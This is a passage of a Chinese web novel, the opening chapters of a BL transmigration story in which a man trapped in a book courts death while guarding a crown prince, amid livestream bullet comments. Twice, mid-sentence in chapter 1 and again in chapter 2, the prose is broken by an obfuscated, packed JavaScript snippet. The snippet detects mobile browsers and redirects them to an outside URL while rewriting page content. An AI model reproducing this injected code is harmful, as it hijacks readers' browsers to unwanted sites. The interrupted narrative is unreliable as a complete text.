《弄臣今日死了吗[穿书]》 1. 射入 景熙廿六年,上林苑秋围狩猎。 群山嵯峨如龙脊起伏,奔腾入云。云端之水自天上飞流直下,声势潺潺,浮光跃金,涌入灵犀河。 秋水驾浦,凉烟冒虹。 隔着霜气,河对面有一位男子,丰姿瑰伟,踏银鞍,骑白马,穿着一袭灼灼红衣,恍若点燃了林麓。 忽闻三声号角,一瞬间,万骑奔雷,百兽惊散。 猎手们策马狂追猎物,欲拔得围猎头筹。 唯有一人志不在此,正是这位在水一方的俊美佳人:穆辞忧。 他一勒缰绳,骏马如同离弦之箭,踏河冲来。 水幕溅起,沾湿的红衣包裹在他身上,透出健壮劲瘦的腰背线条。唯有墨发间一条红带未沾污浊,被风撩动,翩然逸出。宛若一团浇不灭的飞火。 水火交融之景,实乃世间难见。 过了河,白马甩动着头颈,水珠从它雪白的皮毛上被纷纷甩落。 马背上的穆辞忧,一身劲装湿成暗赭色,身姿依然笔直,威仪秀异。 几丝乌发卷曲成缕,贴在额角,闪着银光; 几颗水滴晶莹剔透,凝在脸上,鲛人流珠。 这张脸生得极好,鼻梁像山脊耸起,长眉若利刃穿云,衬得眼窝深邃似渊,琥珀色瞳仁澄澈如渊底的一池秋水。 他环视着丛林峻岭一圈,眼神停在某一点上,骤然有了锋芒,仿佛一头发现猎物的饿狼。 双手挽弓搭箭,肩背肌肉线条在拉弓时紧绷贲张。弓开满月,箭尖看似指着一只麋鹿方向。 然而,准头稍稍一偏,瞄向深林中的另一抹火红色。 那处亦是一位身着火红色劲装之人,威风凛凛。 “唰”箭支飞出。 骏马一声嘶鸣,人立而起。 马背上那一片火红色腾空坠落。 弹幕【我没站反吧?穆辞忧射了顾念安?】 【没反,他射中了太子的马】 【什么??穆少保为啥害太子摔下马?】 【他在找死!!】…… 上林苑地形复杂,险峻不齐,正如战场。 穆辞忧仿若一位凯旋归来的将军,迎疾风,踏劲草,策马狂奔,红衣猎猎。马蹄下烟尘飞扬,惊艳四座。 少傅:“穆少保一骑绝尘,若姑娘们见如此风姿,必投花掷果,蜂拥而上,‘北境穆郎’果然名不虚传。” 少师:“穆少保和太子穿了同色、同料、同款的衣衫,此乃大不敬之死罪啊!” 少傅:“海兴兄有所不知,穆少保那身衣衫,乃陛下亲赐,你看他那套弓箭、那根马鞭皆是御定,仅太子和少保拥有,特许秋围穿戴。” 少师:“呦,羡煞我等。墨煜兄,你说穆少保骑这么快,急着去寻何稀奇珍贵的禽兽?” 凡间有何奇珍异兽? 这禽兽当然是顾念安那只小龙崽子! 不多时,暗赭色与火红色交叠在一处,突然又杀出一道黑色。 刀光一闪,那把淬毒的刀本应穿透太子顾念安的肋骨,却阴差阳错,砍在了穆辞忧的后背。 穆辞忧尚未来得及回头,后背便传来一阵剧烈刺痛,双膝失控地一软,跪倒在地。 深褐色的血与暗赭色的衣料融为一体,撑在地面的手因用力而指节发白,呼吸都变成了短促的抽气,声音从牙缝中挤出: “太子殿下,是臣一时疏忽,请殿下治罪……” 刺客刀光当前,太子顾念安可没空听穆辞忧这句老生常谈。 “别絮叨了,天天把请罪挂在嘴上!” 顾念安手持佩剑对敌,三尺青锋轻盈利落,一招一式俊逸如风。 但这黑衣刺客招数刁钻狠辣,逼得顾念安步步后退,暂处下风。 “来人,有刺客!”深林中传出顾念安求救的呼声。 穆辞忧见形势不妙,竭尽全力去拿弓,右手指尖刚触到冰凉的木柄,后背的剧痛就顺着脊椎往上窜。他只能侧身半跪在地,将弓身抵在膝盖上借力,左手颤抖着去勾弓弦。 汗珠和血水顺着衣摆流到地上,在枯草中形成一滩水洼,散发着腥味。 他深吸一口气,咬紧牙关,手上力度不够,便借助皮革护腕拉弦,将所有力气都灌进手臂。 弓弦震颤,箭翎似催魂夺命的蝴蝶,振翅而飞,追向刺客左侧肩胛骨,直穿心脏。 穆辞忧目睹刺客倒地,望见侍卫们鱼跃而至,阖上了双眼。 “少保!穆哥哥……” 他耳边隐约能听见顾念安焦急慌张的呼唤,毫无储君的沉稳。正欲开口训斥,却失去了意识。 黑暗中,系统弹出【008,醒醒!】 穆辞忧:“我终于死了,快送我回现实世界。” 系统【没死,刀上有毒,你陷入昏迷,御医正在救治你。】 穆辞忧:“快救男主顾念安呀!我射中了他的马屁股,他摔下马,大概要卧床休养半月。这次即便我不死,也是护卫不周,离死期不远了。” 系统【并没有,顾念安无大碍,且能与刺客搏斗。而你,大概要躺三个月都不止。】 穆辞忧:“三个月?系统,我用积分换疗伤药,快让我身体恢复,不能耽误作死的时间。” 系统【切记莫急!你睡吧…我去制药……】 穆辞忧原是二十二世纪的现代人,在网络‘女友’晚风的推荐下,打开一本权谋小说,刚看到第一段: 南阎浮提有一国,名为“昭”,昭国传至第十三代,出了一位贤德的君主,姓顾,字念安,无人敢记下他那足以颠覆王朝的隐秘。 弹指一挥间,穆辞忧便穿成这本小说中的人物,也叫穆辞忧。 系统弹出的第一句话【吡~008号穿书人穆辞忧,欢迎来到阎浮提穿书系统,你在书中的表现会直播到我们的视频平台,粉丝打赏能增加你的积分,积分可变现在现实世界使用,也可以在书中兑换道具。】 穆辞忧确实缺钱,见有钱挣,他动摇了片刻,转而想起大下月七夕要和网络‘女友’晚风见面。 “系统,我七夕约了网络女友面基。我不能穿书,你送我回去吧,我谢谢你全家及祖宗十八代。” 系统【面基就像抽盲盒,你怎知网友是男是女?】 穆辞忧:“我、不知道,但我不能失信毁约。” 系统【莫急,不是我老阎不帮你。首先,进入穿书系统后,宿主不能擅自离书,要根据人设,完成剧情,即可自动回到原世界。】 【其次,书中世界与现实世界不同,时间和空间皆不在一个维度上,这本书全部剧情的时长,相对现实世界时间,最多两月。我估计你能赶上七夕的约会,祝你抽到盲盒隐藏款。】 穆辞忧一目十行,看完了弹幕,又问道:“我怎样算完成了剧情?” 系统【你的结局是死,所以你死了就可以】 穆辞忧抢话:“我马上悬梁自尽!” 死还不简单么? 系统【等等!】 【自杀不算,你的设定死法是他杀,别人杀死你,你才能回到现实世界。】 …… 刚进入书中,穆辞忧即刻听到一个不男不女的尖锐嗓音: “奉天承运皇帝诏曰:穆氏一门,忠烈殉国,朕思之痛哉!孤子穆辞忧,幼承庭训,乃少年英豪,擢太子少保,入住东宫,辅弼储君。钦此~” 系统【欢迎来到纯爱小说《弄臣》的世界,主播进入直播间。】 穆辞忧视线的右上角处,开启了半透明字幕:【主播0】 什么0?零人在线播个球球啊! 入值第一天,盛夏的日头正施展着淫\威,暴露出一片白晃晃的烈光,射入红宫墙与黄瓦片,让人无法瞩目。 御道两侧的绿荫下走过一位挺拔少年,黑履刚踏入东宫大门,嬉闹声便传入耳中。 “何人在此喧哗?” 穆辞忧抱着“嗝屁”的决心,励志活不过第一集,准备教训太子一顿。 宫女们闻言退下,花团锦簇一哄而散,露出中间的美貌少年。 少年约莫十七岁,形体秀颀,墨发用金簪束着,身着杏黄色锦缎袍衫,领口袖口绣着游龙暗纹。 手里捏着一个咬过一口的妃红色的糕点,唇角还沾了点残渣。 他脸上尚存几分稚气,如未雕琢的美玉,沐着溪水、淬着阳光、浸着月华,温润中透着纯洁凛冽的光。 好一块璞玉浑金! 穆辞忧心中断定:这块美人坯子长大后是个绝色大帅比! 小帅比侧靠在椅背上,一只脚轻轻踩着凳腿,歪歪扭扭坐着,也在打量着穆辞忧,眼尾微挑,眼波流转。 “你就是穆少保吧,正巧,御膳房送来了荷花酥,我们在分食,见者有份。” 小帅比嗓音清脆动听,正说着一瞥眼,瞧见糕点盘中空无一物,瞳孔游移的瞬间,“孤手中这块先赏你。” 荷花酥举到穆辞忧面前,浓郁的甜腻味道扑面而来。 穆辞忧听网络‘女友’晚风说过这种糕点,其形似荷花,酥层若瓣,馅料作为花蕊点在中心,故名荷花酥。晚风说过荷花酥是自己最爱吃的糕点。 穆辞忧想尝尝这精致的糕点是什么味道,他以前舍不得买给自己吃。 刚想接过,却看见荷花酥上太子顾念安的牙印,还有咬痕上的口水,瞬间顿住犹豫…… 若是咬了上去,那岂不是间接亲吻?不过,我们都是男人,也没关系吧。 顾念安看出穆辞忧眼神中的嫌弃,收回了手,讪讪道:“这荷花酥外皮酥脆,内馅香甜,明日孤叫御膳房再给少保做一盘。” 行了,穆辞忧知道什么味儿了。 穆辞忧一手抢过荷花酥,一手摔碎点心盘,厉色道:“殿下已入束发之龄,怎可贪恋甜食,糖饴蜜糕皆是破齿腐牙的毒药,长期食用,后患无穷。” 训斥声从天而降,吓得顾念安一双铜铃眼中泪花暗涌。 穆辞忧微怔片刻,他没想到一个男子泫然欲泣的样子,能如此惹人怜爱,不忍心再责备。 转念又一想:“不对,我要作死啊!我不能被这小龙崽子迷惑了。” 他眸光暗沉,下狠心训斥:“男子汉怎可哭哭啼啼,你娘亲是如何管教?竟如此娇惯你。” 此言一出,顾念安也不顾脸面,往穆辞忧怀里一扑,嚎啕大哭。 顾念安的身高没比穆辞忧低多少,为了降低高度,特意双腿劈叉站立,牢牢把头部贴在穆辞忧胸口位置。 穆辞忧眼前浮现半透明弹幕 【好娇俏的太子!】 【但不符合人设,他是不是装哭?】 【我打赌,太子肯定假哭!】 【庆第一次接触,‘穿云箭’一支!】 右上角“主播0”的后面多了几个字【积分:1000】 穆辞忧暗自抱怨:“我明明有人气了,怎么还写着‘主播0’呢?垃圾系统出BUG ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793625|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 原来一支‘穿云箭’等于1000积分。 “难道粉丝们爱看男主哭?” 穆辞忧等着第二支‘穿云箭’,没有推开太子,任太子在怀中肆意哭泣。 一旁的太监实在看不下去,拉开太子殿下与穆少保,“殿下,怎么哭了?您可从未掉过一滴泪啊!” 太监转头,又冲着穆辞忧细声骂道:“大胆少保,竟敢侮蔑皇后,惹哭太子,此罪当诛。” 穆辞忧乐享其成,心中暗喜:出师大捷啊!快来诛我吧! 宫女们给顾念安擦眼泪,顾念安哽咽几下,忍了哭声,眨着湿睫,对太监说:“长喜,莫怪穆少保,孤听父皇说,少保自幼在边陲长大,自是不知母后在孤五岁时便与世长辞,所谓不知者不怪。” 听闻顾念安五岁失去母亲,穆辞忧心口最软的地方凉飕飕的,低头一看,以为是顾念安泪水浸透了常服。 “哎,太子素来宽厚仁爱。”长喜拂尘一甩,“穆少保,咱家与您唠几句,以免您再惹怒天颜。” 穆辞忧翻开书就穿越了,只知道太子顾念安是男主角,未来会登基为帝。 长喜稍作介绍,道出其中内幕: 当年皇后盛宠不衰,太子顾念安年幼立储。 帝王的偏爱是把双刃剑,断送了皇后的性命。之后,皇帝亲自抚养太子。 长喜随口举了几个鳏夫带娃的例子:“太子八岁出天花,皇帝杀了九位御医,九天不上朝,守在太子身边,照顾太子起居。太子痊愈后,仅在后颈部留下一个小痘坑,皇帝都自责不已……” 穆辞忧心中感慨:“一位执掌生杀大权的‘慈母’娇生惯养出一只小龙崽子!果然慈母多败儿!” 太子步入舞象之年,皇帝不便亲自照料,请了三位青年才俊辅佐太子,合为东宫三孤。其中,少师谕之以德,少傅授之以学,少保保其身体。 长喜说到最后,给穆辞忧指了一条‘明路’:“穆少保,太子的身体,若是有半点差池,您长十个脑袋也不够砍啊!” 穆少保三躬身,感谢长喜公公‘指点’明路。 穿书后,人物角色的记忆、技能、生活方式全部同步穆辞忧的脑中。据书中设定他武艺高强,且善于骑射。 少保一职正是负责保护太子身体康健,教导太子骑射和武术,强健储君体魄。 正所谓:玉不琢,不成器。 穆辞忧对顾念安这块璞玉的雕琢,是真敢下手啊! “皇帝杀人素来干脆利落,我蹂躏太子,惹怒‘慈母’皇帝,杀我也肯定痛快!” 穆辞忧在辅佐太子时,明里百般苛责,暗里设置障碍。他心里美滋滋,日日盼着赐死。 系统【吡~008你悠着点作死。男主顾念安不可死亡,否则,书中世界崩塌,你会成为一缕游魂,永远困在书中。】 有了系统的提醒,穆辞忧不敢‘大作’,反而保护起男主顾念安。 但‘小作’怡情,绝对少不了! 东宫的绿荫染成枯黄,北风含着凉意袭来,吹落了一片树叶,宣告着秋围时节已到。 穆辞忧觉得秋围是个‘作死’的好机会,便有了他先设计顾念安摔下马,又替顾念安挡刀的壮举。 使用了积分兑换的特效疗伤药,穆辞忧一觉醒来。 “你醒了!来人,快去备膳,穆少保醒了。” 说话这人眼周和鼻头都是绯红色。 尤其是那双杏眼,此刻红肿得如同蜜桃,眼白布满了血丝,眼皮沉甸甸地压在了他的长睫上,泪光犹存。 一看便知哭过多次了。 穆辞忧醒后立刻进入‘作死’状态,忍着疼痛,训斥声如蚊蚋:“殿下乃一国储君,何以又作此儿女之态?臣说过多次,您将来要承继大业,如此哭哭啼啼,成何体统啊!” 顾念安扭过梨花带雨的脸,避开穆辞忧目光,埋怨道:“孤会哭,还不都因穆哥哥!” 不必多言,穆辞忧自然明白,那顾念安眼里全是因心疼穆辞忧而流出的泪。 只不过穆辞忧要作死啊,把心一横,怼道: “殿下竟说诳语,怎会是因臣!臣身受重伤,怎能把您弄哭。以殿下强壮的身躯,都能把臣压在身下,狠狠欺负哭了!” 这句话诚然无错。在穆少保特定的“魔鬼训练法”磨砺下,顾念安已是今非昔比。他身体刚健精壮,武功突飞猛进,短短数月便脱胎换骨,硬身手能与穆辞忧匹敌。 语落,未听到顾念安的回应。 穆辞忧只能看见顾念安的后脑,发觉顾念安原本粉嫩的耳根爬上红晕。 定是因皇宫地龙过热! 穆辞忧也觉得浑身发烫,脸部灼热。他掀开被子,透透凉气,肩膀蹭了几下,行动仍然有些吃力。 “有劳殿下扶臣起床。” 顾念安拽着穆辞忧的胳膊,眼神却落在那人雪白锁骨上。 一不留神,拉扯到了穆辞忧后背的伤口,惹得穆辞忧闷哼一声。 “嗯~” 滚烫的气流擦过顾念安的耳廓,激得他一哆嗦,眼中尽是茫然。 弹幕【主播这一声太性感了吧】 【顾念安黑化后,天天听到这诱人的声音】 【嘿嘿^0^坐等黑化!】 穆辞忧脑中划过一道闪电,眼睛猝然睁大,目光聚焦在顾念安脸上,又瞬刻转为平静。 “老铁们净瞎掰,这位纯真可爱的少年后期会黑化?谁信?” 2. 同塌 穆辞忧背倚床头,浓郁的膏药味漫入鼻腔。他垂眸,见素白绷带纵横交错,将他身躯紧紧包裹,倘若绷带换成绿色,活脱一个大粽子! 大粽子被包得好不自在,想拆掉绷带。他平日也算个手脚利落的,一反手,却使不上半分劲儿,难以摸到绷带的结扣。 弹幕【你求助于顾念安啊,让他帮你。】 穆辞忧顿时支棱起来,脑子里闪现新‘作死’语录,装出一副流氓的样子,揪起绷带边,插科打诨: “殿下,这粽叶包着白白的糯米,您想吃吗?” 顾念安愣神不动,双眸死死盯着穆辞忧。 穆辞忧自以为恶心到了顾念安,乘胜追击,又道:“想吃您就过来剥开粽叶啊!” 却未料到顾念安竟眉头略有舒展,如拨云见日。 “穆少保勿动,孤派御医来拆纱布。” 不消片刻,御医、美食和皇帝同时抵达东宫门口。 食物的味道飘进太子寝殿,穆辞忧咽了一下唾液。 “陛下驾到!”太监喊了一嗓子,尖锐的声音像是指甲挠黑板,钻进穆辞忧的耳膜,直冲天灵盖,激得他寒毛根根倒竖。 “穆少保身受重伤,行动不便,不必下床行礼。”未见皇帝其人,已闻皇帝其声。 顾念安从宫女手中接过参汤,坐到床边,拿起汤匙。 “穆少保身受重伤,行动不便,孤喂穆少保用膳。” 穆辞忧展臂配合着御医拆纱布,嘴上喝着顾念安喂来的参汤,耳朵听着皇帝说道: “朕闻少保醒转,颇感欣慰,念少保屡次救护太子,功勋卓著,朕欲赐免死金牌……” “噗~” 穆辞忧顿时喷出了一口参汤,一滴没浪费,全喷到坐在床沿的顾念安脸上。 长喜立刻拿出手帕替顾念安擦脸。 穆辞忧也用拆掉的纱布给顾念安擦着脸。 同时,嫣红湿亮的唇中说出熟悉的请罪词:“臣御前失仪,请陛下治罪。” 顾念安拨开长喜的手,闭着眼睛,任凭纱布在脸上肆意揉擦。 那块纱布沾着穆辞忧的体香余韵,又染上参汤津液,皱成一团,散发出怪味。顾念安大概是鼻子失灵了,居然嘴角含着浅笑。 顾念安天潢贵胄,虽尚且年少,举手投足间却自有五分威仪。唯独笑起来时,面颊上有一对梨涡,那威仪便冰消雪融,荡起少年人特有的清澈与灵动,仿佛世间风花雪月皆落在这两泓甘泉里。 自诩直男的穆辞忧,见顾念安一展笑颜,也难免在心中夸两句:美男子!大帅哥! 但闻皇帝说道:“穆少保有何失仪?吾儿初次服侍救命恩人,不知参汤冷热,烫到了穆少保,要治罪也是吾儿的错。” 弹幕【舍不得太子,套不着恶狼】 【老皇帝是CP头子!】 【穆少保不会是老皇帝的私生子吧?】 看到这条,穆辞忧也怀疑自己是老皇帝的风流种子。 穿书后,皇帝曾多次袒护穆辞忧,赏给东宫的物品中必有一份给穆辞忧,甚至今日还想赐给穆辞忧免死金牌。 不可!不可!万万不可! 一定要让皇帝打消这个邪恶的念头。 穆辞忧发现在“作死”之路上,老皇帝是最大的绊脚石! “陛下明鉴!臣才疏学浅,蒙陛下不弃,委以少保重任。保卫太子乃臣分内之职,岂敢居功?若因此而得厚赏,恐徒惹非议,难以服众也。太子殿下屈尊服侍臣,已是天恩浩荡,臣感激涕零,别无所求。” 皇帝闻此语,先是微微一静,随即抚掌而笑。 众人见皇帝鼓掌了,虽不明所以,也都随着鼓掌。 穆辞忧也不明所以,见众人都鼓掌,便拍手呱唧。 整个东宫内,一时间,掌声如潮。 “不愧是穆将军教养出来的好男儿啊!” 皇帝说这句时,双眼蒙上了一层水雾,浑浊眸子里沉淀着未被记载的秘辛。 众人又跟着皇帝的话锋,面上露出欣赏叹服之色。 此刻,御医拆掉了所有纱布,穆辞忧的上半身暴露在空气中,肤白胜雪,脂光赛玉,肌肉块垒分明,起伏如丘壑。 弹幕【口水逆流成河】 【我擦!主播身材完美!】 【这是我能免费看的吗?】 【一支‘穿云箭’飞过!】…… 一眨眼,【积分99000】 皇帝迅速擦了一下眼睛,没人发现他这个小动作。 他仿佛见到北境终年不化的积雪,泛着清冷的柔光,山脉连绵在这片圣洁的雪原中。他年轻时,曾和穆将军一同在山脊上驰骋,也曾在厚雪中蛰伏。 他又忆起穆将军从北境送来的羊脂白玉,色泽白皙莹润,质地细腻如脂。那块玉他爱不释手,却偷偷藏在了枕内。 然而眼前这块来自北境的美玉,白璧微瑕! 在穆辞忧结实的背阔肌上,刻了一条栗色的痂,痂壳嶙峋凸起,周围的皮肤紧绷。 “奇迹啊!”御医一声惊呼,打断了皇帝的遐想,“托陛下洪福,穆少保背部两寸深的伤口,八天就愈合了!” 顾念安凑近细看那条结痂,“穆少保不可留疤,长喜,把孤的生肌平痕膏拿来。” 长喜犹豫了一瞬,据他所知,那罐‘生肌平痕膏’用了珍贵的天材地宝研制,整个皇宫一共三小罐。 皇帝突然发话:“这么长一条口子,东宫的生肌平痕膏怎够,让御医院的人再多配制几罐。” 长喜屁颠屁颠去拿生肌平痕膏。 御医领旨配药,退下前嘱咐了一句:“穆大人请务必保护伤处。穿衣抬臂容易撕裂伤口,布料也容易摩擦痂块,让伤口通风是最佳方法,故而,在掉痂前,您尽量不要穿上衣。” 皇帝敛眸,问道:“这…穆少保不穿上衣,莫再感染了风寒,地龙温度尚可?” 正值秋末,天气转寒,皇帝担心冻到穆辞忧。 “无妨,臣在北境经常光膀子,哪有地龙啊,臣皮糙肉厚,习惯了。”穆辞忧笑答。 “朕见少保身体无大恙,安心些许,朕改日再来探望少保。” 皇帝对着穆辞忧说完,又砸给顾念安一句话:“好生照料穆少保。” “父皇放心,儿臣定不负父皇所托。”顾念安叩首送离。 这爷俩一唱一和,把穆辞忧捧到天上,宠在手心。 弄得穆辞忧受宠若惊。 “惊”的是他日日作死,偏偏天不遂人愿,不但未有责罚,反而备受嘉奖,不知何时才能回到现实世界。 弹幕【倒反天罡啦,储君照料臣子啦!】 【臣子的身体好白啊!】 【那两点好红啊!】 穆辞忧颔首,看到自己上半身,又冒出烦人的念头,指着胸口:“殿下,您看,这糯米粽子是红枣馅的。” 顾念安往那处看去,移不开眼。 弹幕【主播,你逗逗太子,问问他吃不吃红枣。】 私下里,顾念安一声声‘穆哥哥’叫着,穆辞忧已然把顾念安当作弟弟看待。好兄弟之间互相开玩笑,说荤段子,也不足为奇。 穆辞忧这个主播,向来宠粉,便说道:“殿下,您要吃这两颗红枣吗?” 顾念安身形微微一滞,双颊生晕,眸光四射,手中的汤碗差点滑落。 “穆哥哥,此言当真?” 弹幕【顾念安的眼神在说:孤要吃】 【xswl】 穆辞忧轻咳一声,腹诽道:“这小子不是真想咬我吧,他是属狗的吗?好像他真是属狗啊!” “那个,臣逗趣呢,这两颗小红枣过于寒酸,怎能献给殿下吃?殿下要吃,也得吃大桃子、大李子啊!” 弹幕【穆辞忧说话听起来怪怪的】 【主播永远在边缘试探,这个直播间迟早要被封。】 顾念安长睫低垂,舀起一勺参汤,凑到唇边轻轻吹凉,再递到穆辞忧的唇边。 “参汤都堵不住穆哥哥这张嘴,竟说俏皮话哄骗孤。” …… 一个专心致志地喂,一个安安静静地喝。。 一碗参汤喂完,长喜传来通报:徐少师和周少傅来看望穆少保。 “允。” 一对翩翩公子并肩而入,不疾不徐。 徐少师穿着着红色官服,身形挺拔孤峭,手持折扇,五官硬朗,表情肃穆,薄唇呡成直线,一双眸子不带丝毫温度。 周少傅则是身着月白色常服,衣袂处绣了几丛墨竹,腰间坠有环佩,颀长清癯,舒眉朗目,笑若春风。 弹幕【哇!配角都这么帅!】 【这两个我都要了。】 他们躬身向太子行礼后,抬头一扫。 太子寝殿,金碧辉煌,熏香袅袅,白玉地砖的尽头是一张紫檀木雕龙拔步床,两侧垂落着金丝帐幔。床上有两个人,一位是坐在床边的储君顾念安,另一位是靠在床头的少保穆辞忧。 徐少师吓得脸色苍白,用合起的折扇指着穆辞忧,抢先发言:“穆少保怎能卧于太子的床榻?这可是犯了唔唔” 周少傅霎时捂住了少师的嘴,环佩叮当乱响。 “殿下,臣等特来探望穆少保,见少保病情好转,有几句贴己的话,想和少保谈谈,臣斗胆可否请殿下移步?”少傅说道。 作为东宫之主的顾念安不想走,也完全可以不走。但见穆辞忧已摆手示意,便在穆辞忧身上披了件锦丝中衣,而后慢慢移步至寝殿外。 长喜小声骂了句“鸠占鹊巢”随着太子走出寝殿,其他奴才们见状也跟着出去。 太子寝殿内只剩下的三个人。 他们是皇帝挑选的三位翘楚:少师徐海兴、少傅周墨煜、以及少保穆辞忧,这三人号称“东宫三少”。 这三人表面人模狗样,端的是谦谦君子,立的是栋梁之才。 徐海兴和周墨煜初次见穆辞忧时,穆辞忧正数落着太子: “殿下,不许挑食,不可嫌膻!您这个不吃那个不吃,想吃龙肉啊?牛羊肉是大补食物,强身健体,臣在北境经常吃,穷人都吃不起呢,您看看这世道,多少人连口肉汤都吃不上?真是惯得毛病。” 说着,一捏太子下颚,太子像金鱼一样撅起嘴,露出牙齿。穆辞忧夹了一块牛肉,硬是塞进了太子的嘴里。 这可是皇帝都舍不得责骂的太子,就被那人欺负。 两人见状心道:“那人是谁啊?离死不远了。” 但听太子嚼着牛肉,含糊道:“孤吃了牛羊肉,能长得和穆少保一般强壮吗?” 原来他就是传闻中皇帝从北境亲自接回来的太子少保——穆辞忧。 穆辞忧点头答道:“你多吃就能!你若不愿吃,便将臣处死吧。” “孤吃,愿吃。”太子夹了一块羊肉放在嘴里,皱紧眉心,强行咽下。 这般情景令徐海兴和周墨煜震惊不已,心中对穆辞忧的佩服难以言喻,主动去拜访穆辞忧。 穆辞忧与这二人相谈甚欢,称兄道弟,混为一丘之貉。 为了作死,穆辞忧与他们一碰头,便嚷嚷着去吃喝玩乐。 跟着这两人凑到一块儿,走鸡逗狗、吟风弄月、浪荡勾栏、斗富赌狠……装成标准的纨绔子弟,只为赢得青楼薄幸名。 自从穆辞忧替太子挡刀后,徐海兴和周墨煜也很是担忧,听闻穆辞忧醒了,便飞速赶到东宫。 他们知道穆辞忧在京城没有府邸,皇帝安排穆辞忧住在东宫。 然,未料到,穆辞忧住在太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793626|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的寝殿! 他们本以为穆辞忧是睡在是偏殿,方便保护太子。 然,又未料到,穆辞忧睡在太子的床榻上!! 徐海兴以贤德闻名,最注重道德教化、三纲五常。他一进寝殿门,见穆辞忧乱了君臣之礼,训责之言不禁脱口而出。 眼下,徐海兴见寝殿中没有其他人了,仍忍不住问道:“辞忧兄,你一直与太子共榻?” “嗯。”穆辞忧点头。 “你这是以下犯上啊!”徐海兴说话的声音略有颤抖,额角流了几滴冷汗。 弹幕【辞忧兄就要以下犯上】 穆辞忧毫不在乎,“大家都是男人,还分什么上下?再者我们睡得是两套被褥。太子殿下曾在睡梦中遭遇过杀手,我为了时时刻刻保护殿下,睡于床榻外侧,若再遇杀手,我用命替太子挡剑。” 周墨煜拿出手帕,擦着徐海兴脸上的汗滴,赞扬道:“辞忧兄是把命都给太子殿下了!我等自愧不如啊!怪不得陛下青睐辞忧兄。” 商业互吹,谁不会呀。 穆辞忧抱拳道:“二位仁兄才是社稷之器,小弟一介武夫,别无他能,只是尽了作臣子的本份,侥幸立了几次功,怎能与二位相比。” 这一动,中衣滑落,一道醒目的长痂露出,形状狰狞丑陋,如同清溪混入污水,宣纸染上墨滴,佛子犯了戒律…… 周墨煜骤然疾驰,衣上墨竹摇曳生姿。 他腿长,两步并一步,转眼间,跑到床边,将锦丝中衣重新盖在穆辞忧身上,掩埋上一切过错。 俄而笑言:“对了,恭喜辞忧兄拨得秋围的头筹,陛下赐你忠武勇士的名号。” 徐海兴展开手中折扇,轻轻摇动:“陛下说了,论马术,你一骑绝尘,在场众人有目共睹。论射术,你身负重伤,却能一箭取杀手性命。这头筹非你莫属。” 穆辞忧撇撇嘴,嘟囔道:“我要这些虚名头衔作甚。” 徐海兴将食指放置唇前:“嘘~” 周墨煜也小声解释:“辞忧兄,你想想,陛下为何放着朝中多位老臣不用,却用咱们三个韶年之人作为东宫三孤,且不设三公。” 穆辞忧摇了摇头,甩着散开的乌发,宛如绸缎抖动,柔软光亮,荡开层层布痕。 徐海兴用折扇遮掩着嘴型,用只有三个人能听见的声音,窃语: “从咱们迈进东宫大门的那一刻,咱们和太子就是一条绳上的蚂蚱,荣辱与共。若是由朝廷重臣兼任三孤,太子殿下势力增大,能形成与皇权抗衡的新势力。 周墨煜凑到折扇后面,小声接道:“想当年先帝在位时,各党派明争暗斗,陛下经历过夺嫡政变,可谓是血雨腥风。目前太子在朝中根基不稳,陛下有意护太子独善其身,不想让太子沦为权臣的棋子。” “现如今,咱们不可操之过急,容易惹祸上身。待他日,太子平稳登基,咱们三位东宫旧臣“虚”的头衔方能变成“实”的权柄。”徐海兴说完,合拢的扇子,重重叩在掌心,冲着穆辞忧挤眉弄眼。 此番对话后,穆辞忧受益匪浅,又找到一条‘作死’的新路。 他大声喊道:“我要实~齐于…” “权”字未说出口,穆辞忧的嘴被四只手捂住。 徐海兴瞋目,小声切齿道:“闭嘴,你不想活,我们还想活呢。” 顾念安在东宫转悠了一圈后,推门而入,下了逐客令:“穆少保重伤未愈,尚需休养多日,不可久坐,徐少师、周少傅请回吧。” 徐海兴、周墨煜二人虽有千言万语,却只能打道回府。 走到殿门口时,二人同时恋恋不舍地回眸,望了一眼穆辞忧。 穆辞忧一挥手:“快走吧,待我痊愈,去找你们喝花酒。” 顾念安乍然失态,双手叉腰,冲着门口那两人,破口大骂:“你们快给孤滚!” 徐海兴边跑边喊:“太子殿下有失仪态,望下次改正。” 弹幕【太子你不能再忍忍吗?】 【哈哈,太子吃醋了!】 穆辞忧看着弹幕问道:“殿下吃醋了吗?” 顾念安低头摸着袖口的如意祥云绣纹,不言一字。 穆辞忧破天荒换了服软的语气,哄道:“好殿下,别吃醋了,下次我们去喝花酒,偷偷带上您。若圣上知道了,您就说是臣怂恿您去烟花柳巷,让圣上给臣治罪。” “孤不会去!穆哥哥更不许去!”顾念安气冲冲地跑到床边,一抬手,拳头在半空中停住,末了,轻轻揉了揉穆辞忧的墨发。 “穆哥哥,孤帮你涂药。”顾念安手掌顺着秀发下滑,掀开了中衣。 “不劳殿下费心,臣自己可以涂。”穆辞忧嘴上这么说着,其实根本不想涂。 顾念安坐到穆辞忧身后,掏出小瓷瓶,“伤口于背部,你自己不方便,这药涂上略有痛感,穆哥哥忍一忍。” “嘶~” 生肌平痕膏厚涂在伤痂上,穆辞忧感到一阵刺凉,如冰针刺入肌理。 顾念安朝着痂上吹气,口中热气落在痂处,暖了那片肌肤。 “嗯~~~想不到殿下惯会伺候人,弄得臣好生舒爽。” 